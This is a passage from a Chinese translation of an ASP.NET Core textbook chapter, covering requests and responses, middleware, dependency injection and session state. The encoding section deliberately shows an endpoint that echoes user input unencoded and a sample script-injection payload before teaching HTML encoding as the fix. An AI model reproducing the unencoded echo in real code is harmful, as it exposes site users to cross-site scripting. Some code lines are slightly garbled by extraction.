值用于配置日志消息。默认值指定写入信息类型(和更高类型)的日志消息。可以使用不 同的重载版本来指定日志的其他过滤器,也可以使用配置文件来配置日志记录(代码文件 WebSampleApp/Startup.cs): public void Configure(IApplicationBuilder app, ILoggerFactory loggerFactory) { // etc. loggerFactory.AddConsole(); loggerFactory.AddDebug(); // etc. } 通过ILogger接口,可以使用Log方法写入自定义日志信息。 40.5 添加静态内容 通常不希望只把简单的字符串发送给客户端。默认情况下,不能发送简单的HTML文 件和其他静态内容。ASP.NET 5会尽可能减少开销。如果没有启用,即使是静态文件也不 能从服务器返回。 要在Web服务器上处理静态文件,可以添加扩展方法UseStaticFiles(给之前创建的 Run方法添加注释): public void Configure(IApplicationBuilder app, ILoggerFactory loggerFactory) { app.UseiISPlatformHandler(); app.UseStaticFiles(); //etc. } 一旦给Configure方法添加大小写相同的此代码行,编辑器中的智能标记就会提供添 加NuGet包Microsoft.AspNet.StaticFiles的选项。选择它,下载NuGet包,并列在project.json 中: "dependencies": { "Microsoft.AspNetCore.IISPlatformHandler": "1.0.0-*", "Microsoft.AspNetCore.Server.Kestrel": "1.0.0-*", "Microsoft.AspNetCore.StaticFiles": "1.0.0-*" }, 添加静态文件的文件夹是项目内的wwwroot文件夹。在project.json文件中可以使用 webroot设置配置文件夹的名称。如果没有配置文件夹,文件夹就是wwwroot。进行了配 置并添加了NuGet包后,就可以将HTML文件添加到wwwroot文件夹中(代码文件 WebSampleApp/wwwroot/Hello.html),如下所示: <! DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title></title> </head> <body> <h1>Hello, ASP.NET with Static Files</h1> </body> </html> 现在,启动服务器后,从浏览器中向HTML文件发出请求,例如 http://localhost:5000/Hello.html。根据正在使用的配置,项目的端口号可能会有所不同。  注意: 用ASP.NET MVC创建Web应用程序时,还需要了解HTML、CSS、 JavaScript和一些JavaScript库。本书的重点是C#和.NET,所以这些主题的内容非常少。 本书仅讨论使用ASP.NET MVC和Visual Studio时需要知道的最重要的任务。 40.5.1 使用JavaScript包管理器:npm 在Web应用程序中,通常需要一些JavaScript库。在Visual Studio 2015推出之前, JavaScript库可以用作NuGet包,类似于.NET程序集可以用作NuGet包。因为关于脚本库的 社区通常不使用NuGet服务器,所以他们不会创建NuGet包。Microsoft或对Microsoft友好 的社区需要完成额外的工作,才能为JavaScript库创建NuGet包。如果不使用NuGet,关于 JavaScript的社区就使用类似于NuGet的服务器功能。 Node Package Manager(npm)是一个JavaScript库的包管理器。它最初来自 Node.Js(用于服务器端开发的JavaScript库),带有服务器端脚本,非常强大。然而,越 来越多的客户端脚本库也可用于npm。 使用Visual Studio 2015,可以从项模板中添加NPM Configuration File,把npm添加到 项目中。添加项模板时,package.json文件会被添加到项目中: { "version": "1.0.0", "name": "ASP.NET", "private": "true", "devDependencies": { } } 在Visual Studio中打开该文件,可以看到编辑器中的npm标志,如图40-6所示。 图40-6  注意: 只有单击Show All Files按钮,package.json文件在Solution Explorer中 才是可见的。 如果开始把JavaScript库添加到这个文件的devDependencies部分,在输入时就连接npm 服务器,以允许完成JavaScript库,并显示可用的版本号。在编辑器中选择版本号时,也 可以提供^和~前缀。没有前缀,就在服务器中检索所输入库的确切版本和精确的名称。 如果提供了^前缀,就检索具有主版本号的最新的库;如果提供了~前缀,就检索具有次 版本号的最新的库。 下面的package.json文件引用了几个gulp库和rimraf库。保存package.json文件时,从服 务器中加载npm包。在Solution Explorer中,可以看到Dependencies部分中npm加载的库。 Dependencies部分有一个npm子节点,其中显示了所有加载的库。 { "version": "1.0.0", "name": "ASP.NET", "private": "true", "devDependencies": { "gulp": "3.9.0", "gulp-concat": "2.6.0", "gulp-cssmin": "0.1.7", "gulp-uglify": "1.2.0", "rimraf": "2.4.2" } } 这些引用的JavaScript库有什么好处?gulp是一个构建系统,参见40.5.2节。gulp- concat连接JavaScript文件;gulp-cssmin压缩CSS文件;gulp-uglify压缩JavaScript文件; rimraf允许删除层次结构中的文件。压缩会删除所有不必要的字符。 添加包后,可以在Solution Explorer的Dependencies部分使用npm节点轻松地更新或卸 载包。 40.5.2 用gulp构建 gulp是一个用于JavaScript的构建系统。npm可以与NuGet相媲美,而gulp可以与.NET Development Utility(DNU)相媲美。JavaScript代码是解释性的;为什么需要构建系统和 JavaScript?对HTML、CSS和JavaScript执行许多操作后,才把这些文件放在服务器上。有 了构建系统,就可以把Syntactically Awesome Stylesheets (SASS)文件(带有脚本功能的 CSS)转换为CSS,可以缩小和压缩文件,可以启动脚本的单元测试,可以分析JavaScript 代码(例如使用JSHint)——可以执行很多有用的任务。 添加gulp与npm之后,可以使用Visual Studio项模板添加Gulp Configuration File。这个 模板创建下面的gulp文件(代码文件MVCSampleApp/gulpfile.js): /* This file is the main entry point for defining Gulp tasks and using Gulp plug ins. Click here to learn more. http://go.microsoft.com/fwlink/? LinkId=518007 */ var gulp = require('gulp'); gulp.task('default', function () { // place code for your default task here }); 带有gulp标志的编辑器如图40-7所示。 图40-7 现在给gulp文件添加一些任务。前几行定义了这个文件需要的库,并为脚本指定变 量。这里,使用通过npm添加的库。gulp.task函数创建了gulp任务,使用Visual Studio Task Runner Explorer可以启动该任务: "use strict"; var gulp = require("gulp"), rimraf = require("rimraf"), concat = require("gulp-concat"), cssmin = require("gulp-cssmin"), uglify = require("gulp-uglify") var paths = { webroot: "./wwwroot/" }; paths.js = paths.webroot + "js/**/*.js"; paths.minJs = paths.webroot + "js/**/*.min.js"; paths.css = paths.webroot + "css/**/*.css"; paths.minCss = paths.webroot + "css/**/*.min.css"; paths.concatJsDest = paths.webroot + "js/site.min.js"; paths.concatCssDest = paths.webroot + "css/site.min.css"; gulp.task("clean:js", function (cb) { rimraf(paths.concatJsDest, cb); }); gulp.task("clean:css", function (cb) { rimraf(paths.concatCssDest, cb); }); gulp.task("clean", ["clean:js", "clean:css"]); gulp.task("min:js", function () { gulp.src([paths.js, "! " + paths.minJs], { base: "." }) .pipe(concat(paths.concatJsDest)) .pipe(uglify()) .pipe(gulp.dest(".")); }); gulp.task("min:css", function () { gulp.src([paths.css, "! " + paths.minCss]) .pipe(concat(paths.concatCssDest)) .pipe(cssmin()) .pipe(gulp.dest(".")); }); gulp.task("min", ["min:js", "min:css"]); Visual Studio 2015为gulp文件提供了一个Task Runner Explorer(参见图40-8)。双击 一个任务,以启动它。也可以把gulp任务映射到Visual Studio命令上。这样,当打开项 目,构建之前或之后或者在Build菜单内选择Clean菜单项时,gulp任务会自动启动。 图40-8  注意: Visual Studio支持的另一个JavaScript构建系统是Grunt。Grunt专注于 通过配置来构建,而gulp的重点是通过JavaScript代码来构建。 40.5.3 通过Bower使用客户端库 大多数客户端JavaScript库都可以通过Bower使用。Bower是一个像npm那样的包管理 器。npm项目用JavaScript库启动服务器端代码(尽管许多客户端脚本库也可以用于 npm),而Bower提供了成千上万的JavaScript客户端库。 使用项模板Bower Configuration File,可以把Bower添加到ASP.NET Web项目中。这 个模板添加了文件bower.json,如下所示: { "name": "ASP.NET", "private": true, "dependencies": { } } 向项目添加Bower也会添加.bowerrc文件,用来配置Bower。默认情况下,使用 directory设置时,脚本文件(以及脚本库附带的CSS和HTML文件)会被复制到 wwwroot/lib目录: { "directory": "wwwroot/lib" }  注意: 与NPM类似,需要单击Show All Files按钮,才能在Solution Explorer 中看到与Bower相关的文件。 Visual Studio 2015对Bower有特殊的支持。图40-9显示了编辑器中的Bower标志。 图40-9 如果开始给bower.json文件添加脚本库,输入库的名称和版本号,就会启动智能感知 功能。与npm类似,保存文件时,从服务器中检索库,库在Dependencies文件夹中。因 为.bowerrc内的配置,脚本库中的文件被复制到wwwroot/lib文件夹(代码文件 MVCSampleApp/.bowerrc): { "name": "ASP.NET", "private": true, "dependencies": { "bootstrap": "3.3.5", "jquery": "2.1.4", "jquery-validation": "1.14.0", "jquery-validation-unobtrusive": "3.2.5" } } Bower包的管理也可以使用Manage Bower Packages工具完成,单击应用程序的上下文 菜单Manage Bower Packages就可以访问该工具。这个工具非常类似于NuGet包管理器;它 便于管理Bower包(参见图40-10)。 图40-10 现在基础设施已经就位,就该讨论HTTP请求和响应了。 40.6 请求和响应 客户端通过HTTP协议向服务器发出请求。这个请求用响应来回答。 请求包含发送给服务器的标题和(在许多情况下)请求体信息。服务器使用请求体信 息,基于客户端的需求定义不同的结果。下面看看可以从客户端读取的信息。 为了把HTML格式的输出返回到客户端,GetDiv方法会创建一个div元素,其中包含 span元素与传递的参数key和value(代码文件 WebSampleApp/RequestAndResponseSample.cs): public static string GetDiv(string key, string value) => $"<div><span>{key}:</span> <span>{value}</span></div>"; 因为在以下示例中,这些HTML div和span标记需要包围字符串,所以创建扩展方 法,以包括此功能(代码文件WebSampleApp/HtmlExtensions.cs): public static class HtmlExtensions { public static string Div(this string value) => $"<div>{value}</div>"; public static string Span(this string value) => $"<span>{value}</span>"; } GetRequestInformation方法使用HttpRequest对象访问Scheme、Host、Path、 QueryString、Method和Protocol属性(代码文件 WebSampleApp/RequestAndResponseSample.cs): public static string GetRequestInformation(HttpRequest request) { var sb = new StringBuilder(); sb.Append(GetDiv("scheme", request.Scheme )); sb.Append(GetDiv("host", request.Host. HasValue ? request.Host.Value : "no host")); sb.Append(GetDiv("path", request.Path )); sb.Append(GetDiv("query string", request.QueryString .HasValue ? request.QueryString.Value : "no query string")); sb.Append(GetDiv("method", request.Method )); sb.Append(GetDiv("protocol", request.Protocol )); return sb.ToString(); } Startup类的Configure方法改为调用GetRequestInformation方法,并通过HttpContext的 Request属性传递HttpRequest。结果写入Response对象(代码文件WebSampleApp/Startup. cs): app.Run(async (context) => { await context.Response.WriteAsync( RequestAndResponseSample.GetRequestInformation(context.Request)); }); 在Visual Studio中启动程序,得到以下信息: scheme:http host:localhost:5000 path: / query string: no query string method: GET protocol: HTTP/1.1 给请求添加一条路径,例如http://localhost:5000/Index,得到路径值集: scheme:http host:localhost:5000 path: /Index query string: no query string method: GET protocol: HTTP/1.1 添加一个查询字符串,如http://localhost:5000/Add? x=3&y=5,就会显示访问 QueryString属性的查询字符串: query string: ? x=3&y=5 在下面的代码片段中,使用HttpRequest的Path属性创建一个轻量级的自定义路由。根 据客户端设定的路径,调用不同的方法(代码文件WebSampleApp/Startup.cs): app.Run(async (context) => { string result = string.Empty; switch (context.Request.Path.Value.ToLower()) { case "/header": result = RequestAndResponseSample.GetHeaderInformation(context.Request); break; case "/add": result = RequestAndResponseSample.QueryString(context.Request); break; case "/content": result = RequestAndResponseSample.Content(context.Request); break; case "/encoded": result = RequestAndResponseSample.ContentEncoded(context.Request); break; case "/form": result = RequestAndResponseSample.GetForm(context.Request); break; case "/writecookie": result = RequestAndResponseSample.WriteCookie(context.Response); break; case "/readcookie": result = RequestAndResponseSample.ReadCookie(context.Request); break; case "/json": result = RequestAndResponseSample.GetJson(context.Response); break; default: result = RequestAndResponseSample.GetRequestInformation(context.Request); break; } await context.Response.WriteAsync(result); }); 以下各节实现了不同的方法来显示请求标题、查询字符串等。 40.6.1 请求标题 下面看看客户端在HTTP标题中发送的信息。为了访问HTTP标题信息,HttpRequest对 象定义了Headers属性。这是IHeaderDictionary类型,它包含以标题命名的字典和一个值的 字符串数组。使用这个信息,先前创建的GetDiv方法用于把div元素写入客户端(代码文 件WebSampleApp/RequestAndResponseSample.cs): public static string GetHeaderInformation(HttpRequest request) { var sb = new StringBuilder(); IHeaderDictionary headers = request.Headers; foreach (var header in request.Headers) { sb.Append(GetDiv(header.Key, string.Join("; ", header.Value))); } return sb.ToString(); } 结果取决于所使用的浏览器。下面比较一下其中的一些结果。下面的结果来自 Windows 10触摸设备上的Internet Explorer 11: Connection: Keep-Alive Accept: text/html, application/xhtml+xml, image/jxr, *.* Accept-Encoding: gzip, deflate Accept-Language: en-Us, en; q=0.8, de-AT; q=0.6, de-DE; q=0.4, de; q=0.2 Host: localhost:5000 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko Google Chrome 47.0版本显示了下面的信息,包括AppleWebKit、Chrome和Safari的版 本号: Connection: keep-alive Accept: text/html, application/xhtml, application/xml; q=0.9, image/webp, *. *; q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-Us; en; q=0.8 Host: localhost:5000 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome 47.0.2526.80 Safari/537.36 Microsoft Edge显示了下面的信息,包括AppleWebKit、Chrome、Safari和Edge的版本 号: Connection: Keep-Alive Accept: text/html, application/xhtml+xml, image/jxr, *.* Accept-Encoding: gzip, deflate Accept-Language: en-Us, en; q=0.8, de-AT; q=0.6, de-DE; q=0.4, de; q=0.2 Host: localhost:5000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 可以从这个标题信息获得什么? Connection标题是HTTP 1.1协议的一个增强。有了这个标题,客户端可以请求一直打 开连接。客户端通常使用HTML发出多个请求,例如获得图像、CSS和JavaScript文件。服 务器可能会处理请求,如果负载过高,就忽略请求,关闭连接。 Accept标题定义了浏览器接受的mime格式。列表按首选格式排序。根据这些信息, 可能基于客户端的需求以不同的格式返回数据。IE喜欢HTML格式,其次是XHTML和 JXR。Google Chrome有不同的列表。它更喜欢如下格式:HTML、XHTML、XML和 WEBP。有了这些信息,也可以定义数量。用于输出的浏览器在列表的最后都有*.*,接 受返回的所有数据。 Accept-Language标题信息显示用户配置的语言。使用这个信息,可以返回本地化信 息。本地化参见第28章。  注意: 以前,服务器保存着浏览器功能的长列表。这些列表用来了解什么功 能可用于哪些浏览器。为了确定浏览器,浏览器的代理字符串用于映射功能。随着时 间的推移,浏览器会给出错误的信息,甚至允许用户配置应使用的浏览器名称,以得 到更多的功能(因为浏览器列表通常不在服务器上更新)。在过去,IE经常需要进行 与其他浏览器不同的编程。Microsoft Edge非常不同于IE,与其他供应商的浏览器有更 多的共同点。这就是为什么Microsoft Edge会在User-Agent字符串中显示Mozilla、 AppleWebKit、Chrome、Safari和Edge的原因。最好不要用这个User-Agent字符串获取 可用的特性列表。相反,应以编程方式检查需要的特定功能。 前面介绍的、用浏览器发送的标题信息是给非常简单的网站发送的。通常情况下会有 更多的细节,如cookie、身份验证信息和自定义信息。为了查看服务器收发的所有信息, 包括标题信息,可以使用浏览器的开发工具,启动一个网络会话。这样不仅会看到发送到 服务器的所有请求,还会看到标题、请求体、参数、cookie和时间信息,如图40-11所示。 图40-11 40.6.2 查询字符串 可以使用Add方法分析查询字符串。此方法需要x和y参数,如果这些参数是数字,就 执行相加操作,并在div标记中返回计算结果。前一节演示的方法GetRequestInformation显 示了如何使用HttpRequest对象的QueryString属性访问完整的查询字符串。为了访问查询字 符串的各个部分,可以使用Query属性。下面的代码片段使用Get方法访问x和y的值。如果 在查询字符串中没有找到相应的键,这个方法就返回null(代码文件 WebSampleApp/RequestAndResponseSample.cs): public static string QueryString(HttpRequest request) { var sb = new StringBuilder(); string xtext = request.Query["x"]; string ytext = request.Query["y"]; if (xtext == null ytext == null) { return "x and y must be set"; } int x, y; if (! int.TryParse(xtext, out x)) { return $"Error parsing {xtext}"; } if (! int.TryParse(ytext, out y)) { return $"Error parsing {ytext}"; } return $"{x} + {y} = {x + y}".Div(); } 从查询字符串返回的IQueryCollection还允许使用Keys属性访问所有的键,它提供了 一个ContainsKey方法来检查指定的键是否可用。 使用URL http://localhost:5000/add? x=39&y=3在浏览器中显示这个结果: 39 + 3 = 42 40.6.3 编码 返回用户输入的数据可能很危险。下面用Content方法实现这个任务。下面的方法直 接返回用查询数据字符串传递的数据(代码文件 WebSampleApp/RequestAndResponseSample.cs): public static string Content(HttpRequest request) => request.Query["data"]; 使用URL http://localhost:5000/content? data=sample调用这个方法,只返回字符串示 例。使用相同的方法,用户还可以传递HTML内容,如http://localhost:5000/content? data= <h1>Heading 1</h1>,结果是什么?图40-12显示了h1元素由浏览器解释,文本用标题格式 显示。我们有时希望这么做,例如用户(也许不是匿名用户)为一个网站写文章。 图40-12 不检查用户输入,也可以让用户传递JavaScript,如http://localhost:5000/content? data= <script>alert("hacker"); </script>。可以使用JavaScript的alert函数弹出一个消息框。同 样,很容易将用户重定向到另一个网站。当这个用户输入存储在网站中时,一个用户可以 输入这样的脚本,打开这个页面的所有其他用户就会被重定向。 返回用户输入的数据应总是进行编码。下面看看不编码的结果。可以使用 HtmlEncoder类进行HTML编码,如下面的代码片段所示(代码文件 WebSampleApp/RequestResponseSample.cs): public static string ContentEncoded(HttpRequest request) => HtmlEncoder.Default.Encode(request.Query["data"]);  注意: 使用HtmlEncoder需要NuGet包System.Text.Encodings.Web。 当应用程序运行时,进行了编码的JavaScript代码使用http://localhost:5000/encoded? data=<script>alert("hacker"); </script>传递,客户就会在浏览器中看到JavaScript代码; 它们没有被解释(参见图40-13)。 图40-13 发送的编码字符串如下面的例子所示,有字符引用小于号(<)、大于号(>)和引 号("): <script>alert("hacker"); </script> 40.6.4 表单数据 除了通过查询字符串把数据从用户传递给服务器之外,还可以使用表单HTML元素。 下面这个例子使用HTTP POST请求替代GET。对于POST请求,用户数据与请求体一起传 递,而不是在查询字符串中传递。 表单数据的使用通过两个请求定义。首先,表单通过GET请求发送到客户端,然后用 户填写表单,用POST请求提交数据。相应地,通过/form路径调用的方法根据HTTP方法 类型调用GetForm或ShowForm方法(代码文件 WebSampleApp/RequestResponseSample.cs): public static string GetForm(HttpRequest request) { string result = string.Empty; switch (request.Method) { case "GET": result = GetForm(); break; case "POST": result = ShowForm(request); break; default: break; } return result; } 创建一个表单,其中包含输入元素text1和一个Submit按钮。单击Submit按钮,调用表 单的action方法以及用method参数定义的HTTP方法: private static string GetForm() => "<form method=\"post\" action=\"form\">" + "<input type=\"text\" name=\"text1\" />" + "<input type=\"submit\" value=\"Submit\" />" + "</form>"; 为了读取表单数据,HttpRequest类定义了Form属性。这个属性返回一个 IFormCollection对象,其中包含发送到服务器的表单中的所有数据: private static string ShowForm(HttpRequest request) { var sb = new StringBuilder(); if (request.HasFormContentType) { IFormCollection coll = request.Form; foreach (var key in coll.Keys) { sb.Append(GetDiv(key, HtmlEncoder.Default.Encode(coll[key]))); } return sb.ToString(); } else return "no form".Div(); } 使用/form链接,通过GET请求接收表单(参见图40-14)。单击Submit按钮时,表单 用POST请求发送,可以查看表单数据的text1键(参见图40-15)。 图40-14 图40-15 40.6.5 cookie 为了在多个请求之间记住用户数据,可以使用cookie。给HttpResponse对象增加cookie 会把HTTP标题内的cookie从服务器发送到客户端。默认情况下,cookie是暂时的(没有存 储在客户端)。如果URL和cookie在同一个域中,浏览器就将其发送回服务器。可以设置 Path限制浏览器何时返回cookie。在这种情况下,只有cookie来自同一个域且使用/cookies 路径,才返回cookie。设置Expires属性时,cookie是永久性的,因此存储在客户端。时间 到了后,就删除cookie。然而,不能保证cookie在之前不被删除(代码文件 WebSampleApp/RequestResponseSample.cs): public static string WriteCookie(HttpResponse response) { response.Cookies.Append("color", "red", new CookieOptions { Path = "/cookies", Expires = DateTime.Now.AddDays(1) }); return "cookie written".Div(); } 通过读取HttpRequest对象,可以再次读取cookie。Cookies属性包含浏览器返回的所有 cookie: public static string ReadCookie(HttpRequest request) { var sb = new StringBuilder(); IRequestCookieCollection cookies = request.Cookies; foreach (var key in cookies.Keys) { sb.Append(GetDiv(key, cookies[key])); } return sb.ToString(); } 为了测试cookie,还可以使用浏览器的开发人员工具。这些工具会显示收发的cookie 的所有信息。 40.6.6 发送JSON 服务器不仅返回HTML代码,还返回许多不同的数据格式,例如CSS文件、图像和视 频。客户端通过响应标题中的mime类型,确定接收什么类型的数据。 GetJson方法通过一个匿名对象创建JSON字符串,包括Title、Publisher和Author属 性。为了用JSON序列化该对象,添加NuGet包NewtonSoft.Json,导入NewtonSoft.Json名称 空间。JSON格式的mime类型是application/json。这通过HttpResponse的ContentType属性来 设置(代码文件WebSampleApp/RequestResponseSample.cs): public static string GetJson(HttpResponse response) { var b = new { Title = "Professional C# 6", Publisher = "Wrox Press", Author = "Christian Nagel" }; string json = JsonConvert.SerializeObject(b); response.ContentType = "application/json"; return json; }  注意: 要使用JsonConvert类,需要添加NuGet包Newtonsoft.Json。 下面是返回给客户端的数据: {"Title":"Professional C# 6", "Publisher":"Wrox Press", "Author":"Christian Nagel"}  注意: 发送和接收JSON的内容参见第42章。 40.7 依赖注入 依赖注入深深地集成在ASP.NET Core中。这种设计模式提供了松散耦合,因为一个 服务只用一个接口。实现接口的具体类型是注入的。在ASP.NET内置的依赖注入机制 中,注入通过构造函数来实现,构造函数的参数是注入的接口类型。 依赖注入将服务协定和服务实现分隔开。使用该服务时,无须了解具体的实现,只需 要一个协定。这允许在一个地方给所有使用该服务的代码替换服务(如日志记录)。 下面创建一个定制的服务,来详细论述依赖注入。 40.7.1 定义服务 首先,为示例服务声明一个协定。通过接口定义协定可以把服务实现及其使用分隔 开,例如为单元测试使用不同的实现(代码文件 WebSampleApp/Services/ISampleService.cs): public interface ISampleService { IEnumerable<string> GetSampleStrings(); } 用DefaultSampleService类实现接口ISampleService(代码文件 WebSampleApp/Services/DefaultSampleService.cs): public class DefaultSampleService : ISampleService { private List<string> _strings = new List<string> { "one", "two", "three" }; public IEnumerable<string> GetSampleStrings() => _strings; } 40.7.2 注册服务 使用AddTransient方法(这是IServiceCollection的一个扩展方法,在程序集 Microsoft.Extensions. DependencyInjection.Abstractions的名称空间 Microsoft.Extensions.DependencyInjection中定义), DefaultSampleService类型被映射到 ISampleService。使用ISampleService接口时,实例化DefaultSampleService类型(代码文件 WebSampleApp/Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddTransient<ISampleService, DefaultSampleService>(); // etc. } 内置的依赖注入服务定义了几个生命周期选项。使用AddTransient方法,每次注入服 务时,都会实例化新的服务。 使用AddSingleton方法,服务只实例化一次。每次注入都使用相同的实例: services.AddSingleton<ISampleService, DefaultSampleService>(); AddInstance方法需要实例化一个服务,并将实例传递给该方法。这样就定义了服务 的生命周期: var sampleService = new DefaultSampleService(); services.AddInstance<ISampleService>(sampleService); 在第4个选项中,服务的生命周期基于当前上下文。在ASP.NET MVC中,当前上下 文基于HTTP请求。只要给同样的请求调用动作,不同的注入就使用相同的实例。对于新 的请求,要创建一个新实例。为了定义基于上下文的生命周期,AddScoped方法把服务协 定映射到服务上: services.AddScoped<ISampleService>(); 40.7.3 注入服务 注册服务之后,就可以注入它。在Controllers目录中创建一个控制器类型 HomeController。内置的依赖注入框架利用构造函数注入功能;因此定义一个构造函数来 接收ISampleService接口。Index方法接收一个HttpContext,可以使用它读取请求信息,并 返回一个HTTP状态值。在实现代码中,从服务中使用ISampleService获得字符串。控制器 添加了一些HTML元素,把字符串放在列表中(代码文件 WebSampleApp/Controllers/HomeController.cs): public class HomeController { private readonly ISampleService _service; public HomeController(ISampleService service) { _service = service; } public async Task<int> Index(HttpContext context) { var sb = new StringBuilder(); sb.Append("<ul>"); sb.Append(string.Join("", _service.GetSampleStrings().Select( s => $"<li>{s}</li>").ToArray())); sb.Append("</ul>"); await context.Response.WriteAsync(sb.ToString()); return 200; } }  注意: 这个示例控制器直接返回HTML代码。最好把用户界面和功能分开, 通过另一个类(视图)创建HTML代码。对于这种分离最好使用ASP.NET MVC框架。 这个框架参见第41章。 40.7.4 调用控制器 为了通过依赖注入来实例化控制器,可使用IServiceCollection服务注册 HomeController类。这次不使用接口,只需要服务类型的具体实现和AddTransient方法调 用(代码文件WebSampleApp/Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddTransient<ISampleService, DefaultSampleService>(); services.AddTransient<HomeController>(); // etc. } 包含路由信息的Configure方法现在改为检查/ home路径。如果这个表达式返回true, 就在注册的应用程序服务上调用GetService方法,通过依赖注入实例化HomeController。 IApplicationBuilder接口定义了ApplicationServices属性,它返回一个实现了IserviceProvider 的对象。这里,可以访问所有已注册的服务。使用这个控制器,通过传递HttpContext来调 用Index方法。状态代码被写入响应对象: public void Configure(IApplicationBuilder app, ILoggerFactory loggerFactory) { app.Run(async (context) => { // etc. if (context.Request.Path.Value.ToLower() == "/home") { HomeController controller = app.ApplicationServices.GetService<HomeController>(); int statusCode = await controller.Index(context); context.Response.StatusCode = statusCode; return; } }); // etc. } 图40-16显示用主页地址的URL运行应用程序时的无序列表的输出。 图40-16 40.8 使用映射的路由 在前面的代码片段中,当URL的路径是/home时调用HomeController类。没有注意查 询字符串或子文件夹。当然,为此可以检查字符串的一个子集。然而,有一个更好的方 法。ASP.NET通过IApplicationBuilder的扩展(Map方法)支持子应用程序。 下面的代码段定义了一个到/ home2路径的映射,运行HomeController的Invoke方法 (代码文件WebSampleApp/Startup.cs): public void Configure(IApplicationBuilder app, ILoggerFactory loggerFactory) { // etc. app.Map("/home2", homeApp => { homeApp.Run(async context => { HomeController controller = app.ApplicationServices.GetService<HomeController>(); int statusCode = await controller.Index(context); context.Response.StatusCode = statusCode; }); }); // etc. } 除了使用Map方法之外,还可以使用MapWhen。在下面的代码片段中,当路径 以/configuration开头时,应用MapWhen管理的映射。剩下的路径被写入remaining变量,可 用于使方法调用有差异: PathString remaining; app.MapWhen(context => context.Request.Path.StartsWithSegments("/configuration", out remaining), configApp => { configApp.Run(async context => { // etc. } }); 除了使用路径之外,还可以访问HttpContext的任何其他信息,例如客户端的主机信息 (context.Request.Host)或通过身份验证的用户(context.User.Identity.IsAuthenticated)。 40.9 使用中间件 ASP.NET Core很容易创建在调用控制器之前调用的模块。这可以用于添加标题信 息、验证令牌、构建缓存、创建日志跟踪等。一个中间件模块链接另一个中间件模块,直 到调用所有连接的中间件类型为止。 使用Visual Studio项模板Middleware Class可以创建中间件类。有了这个中间件类型, 就可以创建构造函数,接收对下一个中间件类型的引用。RequestDelegate是一个委托,它 接收HttpContext作为参数,并返回一个Task。这就是Invoke方法的签名。在这个方法中, 可以访问请求和响应信息。HeaderMiddleware类型给HttpContext的响应添加一个示例标 题。在最后的动作中,Invoke方法调用下一个中间件模块(代码文件 WebSampleApp/Middleware/HeaderMiddleware.cs): public class HeaderMiddleware { private readonly RequestDelegate _next; public HeaderMiddleware(RequestDelegate next) { _next = next; } public Task Invoke(HttpContext httpContext) { httpContext.Response.Headers.Add("sampleheader", new string[] { "addheadermiddleware"}); return _next(httpContext); } } 为便于配置中间件类型,UseHeaderMiddleware扩展方法扩展接口IApplicationBuilder 来调用UseMiddleware方法: public static class HeaderMiddlewareExtensions { public static IApplicationBuilder UseHeaderMiddleware( this IApplicationBuilder builder) => builder.UseMiddleware<HeaderMiddleware>(); } 另一个中间件类型是Heading1Middleware。这种类型类似于前面的中间件类型;它只 是把heading 1写入响应(代码文件WebSampleApp/Middleware/Heading1Middleware.cs): public class Heading1Middleware { private readonly RequestDelegate _next; public Heading1Middleware(RequestDelegate next) { _next = next; } public async Task Invoke(HttpContext httpContext) { await httpContext.Response.WriteAsync("<h1>From Middleware</h1>"); await _next(httpContext); } } public static class Heading1MiddlewareExtensions { public static IApplicationBuilder UseHeading1Middleware( this IApplicationBuilder builder) => builder.UseMiddleware<Heading1Middleware>(); } 现在,Startup类和Configure方法负责配置所有的中间件类型。扩展方法已经准备好调 用了(代码文件WebSampleApp/Startup.cs): public void Configure(IApplicationBuilder app, ILoggerFactory loggerFactory) { // etc. app.UseHeaderMiddleware(); app.UseHeading1Middleware(); // etc. } 运行应用程序时,可以看到返回给客户端的标题(使用浏览器的开发人员工具)。无 论使用之前创建的哪个链接,每个页面都显示了标题(参见图40-17)。 图40-17 40.10 会话状态 使用中间件实现的服务是会话状态。会话状态允许在服务器上暂时记忆客户端的数 据。会话状态本身实现为中间件。 用户第一次从服务器请求页面时,会启动会话状态。用户在服务器上使页面保持打开 时,会话会继续到超时(通常是10分钟)为止。用户导航到新页面时,为了仍在服务器上 保持状态,可以把状态写入一个会话。超时后,会话数据会被删除。 为了识别会话,可在第一个请求上创建一个带会话标识符的临时cookie。这个cookie 与每个请求一起从客户端返回到服务器,在浏览器关闭后,就删除cookie。会话标识符也 可以在URL字符串中发送,以替代使用cookie。 在服务器端,会话信息可以存储在内存中。在Web场中,存储在内存中的会话状态不 会在不同的系统之间传播。采用粘性的会话配置,用户总是返回到相同的物理服务器上。 使用粘性会话,同样的状态在其他系统上不可用并不重要(除了一个服务器失败时)。不 使用粘性会话,为了处理失败的服务器,应选择把会话状态存储在SQL Server数据库的分 布式内存内。将会话状态存储在分布式内存中也有助于服务器进程的回收;如果只使用一 个服务器进程,则回收处理会删除会话状态。 为了与ASP.NET一起使用会话状态,需要添加NuGet包Microsoft.AspNet.Session。这 个包提供了AddSession扩展方法,它可以在Startup类的ConfigureServices方法中调用。该 参数允许配置闲置超时和cookie选项。cookie用来识别会话。会话也使用实现了 IDistributedCache接口的服务。一个简单的实现是进程内会话状态的缓存。方法 AddCaching添加以下缓存服务(代码文件WebSampleApp/Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddTransient<ISampleService, DefaultSampleService>(); services.AddTransient<HomeController>(); services.AddCaching(); services.AddSession(options => options.IdleTimeout = TimeSpan.FromMinutes(10)); }  注意: 在NuGet包Microsoft.Extensions.Caching.Redis和Microsoft.Extensions. Caching.SqlServer中,IDistributedCache的其他实现是RedisCache和SqlServerCache。 为了使用会话,需要调用UseSession扩展方法配置会话。在写入任何响应之前,需要 调用这个方法,例如用UseHeaderMiddleware和UseHeading1Middleware完成,因此 UseSession在其他方法之前调用。使用会话信息的代码映射到/session路径(代码文件 WebSampleApp/Startup.cs): public void Configure(IApplicationBuilder app, ILoggerFactory loggerFactory) { // etc. app.UseSession(); app.UseHeaderMiddleware(); app.UseHeading1Middleware(); app.Map("/session", sessionApp => { sessionApp.Run(async context => { await SessionSample.SessionAsync(context); }); }); // etc. } 